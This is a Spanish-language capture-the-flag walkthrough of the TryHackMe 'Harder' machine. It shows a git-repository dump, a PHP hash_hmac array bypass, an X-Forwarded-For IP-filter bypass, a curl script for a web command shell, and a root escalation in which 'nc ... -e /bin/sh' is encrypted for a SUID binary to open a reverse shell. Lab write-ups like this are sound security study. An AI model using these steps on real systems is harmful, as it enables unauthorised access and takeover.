Esta máquina está completamente inspirada en un pentesting real. Puede que sea un desafío pero no encontrarás ningun rabbit hole.

Enumeración

Tras un escaneo veo que la máquina tiene 3 puertos abiertos.

PORT   STATE SERVICE     REASON
2/tcp  open  compressnet syn-ack
22/tcp open  ssh         syn-ack
80/tcp open  http        syn-ack

Utilizo netcat para poder averiguar que tipos de servicios estan detrás de esos puertos.

nc 10.10.224.104 22
SSH-2.0-OpenSSH_8.3


nc 10.10.224.104 2
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3

Por alguna razón cuenta con 2 ssh distintos…

Accedo a puerto 80 desde el navegador. La página no existe.

image alt

Pero en el navegador vemos una referencia interesante a un dominio en las cookies pwd.harder.local.

image alt

Añadimos este dominio a nuestro host file y volvemos vamos al navegador para ver donde nos lleva.

echo "10.10.204.104 pwd.harder.local" >> /etc/hosts

Nos encontramos con un portal de autentificación. Pruebo primero a poner hola@hola y me dice que los credenciales no son válidos. Depués pruebo con Admin@Admin.

image alt

extra security in place. our source code will be reviewed soon …

Parece ser que estos credenciales sí son correctos pero no nos llevan a ningún lado.

Procedo a hacer fuzzing en web para ver si nos estamos perdiendo algo.

Pruebo con gobuster:

./gobuster dir -u http://pwd.harder.local/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Pero después de un rato no me aroja ningún resultado así que decido cambiar de fuzzer, esta vez con dirb.

dirb http://pwd.harder.local

image alt

Nos muestra que la página en si es un repo de git.

Existe una herramienta para dumpear todo el contenido de un repositorio git se llama gitdumper, su uso es muy sencillo.

git-dumper -u http:/pwd.harder.local gitdump/

image alt

Explotación

Abrimos el index y vemos que llama a auth.php, hmac.php y a credentials.

Según hemos visto en el .gitignore existen otros ficheros que no tenemos así que tendremos que encontrar otra forma de afrontarlo.

index.php

<?php
  session_start();
  require("auth.php");
  $login = new Login;
  $login->authorize();
  require("hmac.php");
  require("credentials.php");
?> 

Nos vamos a auth.php y lo que sacamos de aquí es que efectivamente el usuario y la contraseña eran admin/admin y por otro lado esta parte del código es la que se encarga de comprobar las coockies una vez estamos autentificados. Cosa que ahora no nos interesa, así que nos vamos al hmac.php.

auth.php

<?php
define('LOGIN_USER', "admin");
define('LOGIN_PASS', "admin");

....
....
....

  function authorize() {
        //save cookie info to session
        if(isset($_COOKIE[$this->prefix.'user'])){
                $_SESSION[$this->prefix.'user'] = $_COOKIE[$this->prefix.'user'];
                $_SESSION[$this->prefix.'pass'] = $_COOKIE[$this->prefix.'pass'];
        }

hmac.php

Aquí es donde viene lo interesante, según como ha planteado el codigo el desarollador existe la posibilidad de bypasear esta comprobación.

if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();

La funciión hash_hmac() genera un hashes. Recibe el tipo de algoritmo a aplicar, la llave a utilizar y los datos a hashear:

hash_hmac('Algoritmo a aplicar', 'datos a hashear',' clave a utilizar')

Lo interesante de esta función es que cuando se le pasa un array en vez de una cadena como datos a hashear, la función en vez de devolver un hash devuelve FALSE.

Entonces tengamos el supuesto donde n es n[1,2] la la cosa quedaría así:

$secret = hash_hmac('sha256', n[1,2], $secret);

echo $secret

output: False

Bueno, ¿y Para qué nos sirve que este $secret nos devuelva false? Pues bien, resulta que la función hash_hmac() si recibe como llave False simplemente creará un hash con el algoritmo seleccionado y los datos introducidos.

Esto nos dá pie a poder generar nosotros nuestros propios hashes Sha256 en nuestra maquina local para saber el hash que generamos pasandole cualquier texto que queramos.

<?php
$hm = hash_hmac('sha256', "hola", false);
echo $hm;
?>
php evil.php 
ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4 

Ya tenemos nuestro hash listo! Ahora tendríamos que craftear la url para pasar los diferentes argumentos y bypasear la comprobación.

n -> n[1]
host -> hola
h - > ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4

Esto nos quedaría algo tal que así:

http://pwd.harder.local/index.php?n[1]&host=hola&h=ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4

image alt

Tenemos nueva información, un nuevo dominio, shell.harder.local y unos credenciales.

Estos credenciales podrian se un usuario de la máquina. Pruebo a conectarme por ssh pero parece ser que no tenemos acceso por ssh.

└─$ ssh evs@10.10.65.109
The authenticity of host '10.10.65.109 (10.10.65.109)' can't be established.
ED25519 key fingerprint is SHA256:qe/uay80+hZjgfhQilcT9xOMMgrAk0nCK7Ng5g7bLMM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.65.109' (ED25519) to the list of known hosts.
evs@10.10.65.109's password: 
Permission denied, please try again.

Vamos al nuevo dominio y nos encontramos con otro portal de autentificación.

image alt

Probamos los credenciales anteriores pero parece que están limitando el acceso por ip.

Your IP is not allowed to use this webservice. Only 10.10.10.x is allowed

Analizando las cabezeras con burpsuite vemos lo siguiente.

image alt

Existe una cabezera llamada X-Forwarded-For que se utiliza para indentificar la ip cliente que se está conectando via web a travez de un proxy. Añadimos esta cabezera con una ip dentro del rango permitido X-Forwarded-For 10.10.10.2 y conseguimos bypasear el filtro de Ip, llegamos a lo que parece una consola de comandos.

image alt

Probamos a enviar un comando pero nos vuelve a dar el mismo problema que antes, tenemos que añadir de nuevo la cabezera con la ip dentro del rango. Hacer esto con burpsuite me parece demasiado tedioso así copio toda la información de las peticiones para hacerlo todo con curl.

Preparo un pequeño script para poder lanzar comandos por argumentos:

#!/bin/bash
curl -s -X POST "http://shell.harder.local/index.php" -d "cmd=$1" -H "Cookie: PHPSESSID=qjegium4cpvu5jaep2hsbb2hdk" -H "X-Forwarded-For: 10.10.10.5" | grep "<pre>" -a10 | grep -v "<\|>"
./cmd.sh whoami
www

Buscando un poco por la máquina me encuentro en /etc una carpeta fuera de lo normal periodic/, dentro de ella hay otras carpetas pero en una de ellas encontramos un script llamado evs-backup.sh. Al abrirlo vemos que tiene unos credenciales. Pruebo estos nuevos credenciales mediante ssh.

image alt

Busco archivos con permisos especiales:

find . -perm /4000 2>/dev/null
./usr/local/bin/execute-crypted

Lo ejecutamos y practicamente nos muestra lo que tenemos que hacer paso a paso:

[*] Current User: root
[-] This program runs only commands which are encypted for root@harder.local using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg

Pero primero tenemos que encontrar la clave gpg de root.

find /  2>/dev/null | grep "root"
/var/backup/root@harder.local.pub

Una vez tenemos localizada la clave gpg tenemos que añadirla a nuestro ring de claves publicas, para ello tenemos gpg import.

gpg --import /var/backup/root@harder.local.pub

Una vez lista importada la clave creamos el archivo a cifrar:

echo -n 'nc 10.11.34.53 4545 -e /bin/sh' > cmd

Encriptamos el fichero con la clave publica de root:

gpg -r root -e cmd

Donde -r se refiere al destinatario, en nuestro caso ponemos root para utilizar su clave publica y -e para encriptar.

Esto nos ha generado un fichero .gpg se lo pasamos al binario con suid…

Y conseguimos una shell de root:

└─$ nc -vlp 4545
listening on [any] 4545 ...
connect to [10.11.34.53] from pwd.harder.local [10.10.65.109] 34439
whoami
root

Refs

https://tryhackme.com/room/harder https://www.php.net/manual/es/function.hash-hmac.php https://tutorialdeep.com/knowhow/declare-an-array-php/ https://simple.wikipedia.org/wiki/X-Forwarded-For